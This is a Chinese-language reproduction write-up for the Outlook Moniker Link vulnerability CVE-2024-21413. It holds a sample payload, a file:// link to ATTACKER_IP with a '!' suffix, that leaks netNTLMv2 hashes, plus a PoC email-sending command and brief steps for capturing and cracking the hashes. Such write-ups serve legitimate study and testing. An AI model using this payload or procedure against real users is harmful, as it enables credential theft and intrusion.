概述
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21413
CVE-2024-21413是Microsoft Outlook 远程代码执行漏洞,称为 Moniker Link 的特定形式的超链接时绕过 Outlook 的安全协议。利用此缺陷,攻击者可以向目标发送包含有害名字链接的电子邮件,提示 Outlook 在单击超链接时将用户的 NTLM 凭据传输给攻击者。
环境复现
任务
1. Outlook可以将电子邮件呈现为HTML格式。
2. Outlook可以解析超链接,例如HTTP和HTTPS。
3. Outlook可以打开通过Moniker链接指定的应用程序的URL。但是,通常会触发安全警告,以防止潜在威胁。
4. Outlook的“受保护视图”在启动外部应用程序时被激活,在只读模式下处理带有附件、超链接等的电子邮件。这一安全功能旨在防止潜在恶意内容,例如宏,尤其是来自外部来源的内容。
5. 当在超链接中使用file:// Moniker链接尝试访问网络共享中的文件时,就会出现漏洞。Outlook的“受保护视图”通常会捕获并阻止这种尝试,涉及SMB协议和本地凭据进行身份验证。
6. 攻击者可以通过在Moniker链接中修改超链接并添加!特殊字符和其他文本(例如,<a href=”file://ATTACKER_IP/test!exploit”>Click me</a>)来利用这个漏洞,绕过Outlook的受保护视图。这会导致身份验证尝试,将受害者的Windows netNTLMv2哈希发送给攻击者。
7. Moniker链接在Windows上使用组件对象模型(COM),由于这种架构的存在,可能存在远程代码执行(RCE)的可能性。
复现
下载并安装hMailServer,其中需要libmysql.dll(https://www.dll-files.com/libmysql.dll.html)
建立域及账户,
然后利用CVE-2024-21413.py(https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file)将poc邮件发送到测试邮箱
python CVE-2024-21413.py --server "<SMTP server>" --port <SMTP port> --username "<SMTP username>" --password "<SMTP password>" --sender "<sender email>" --recipient "<recipient email>" --url "<link URL>" --subject "<email subject>"
收到测试邮件
其中,URL参数是传递 NTLM的地址,然后建立SMB共享地址,监听 NTLM,再破解即可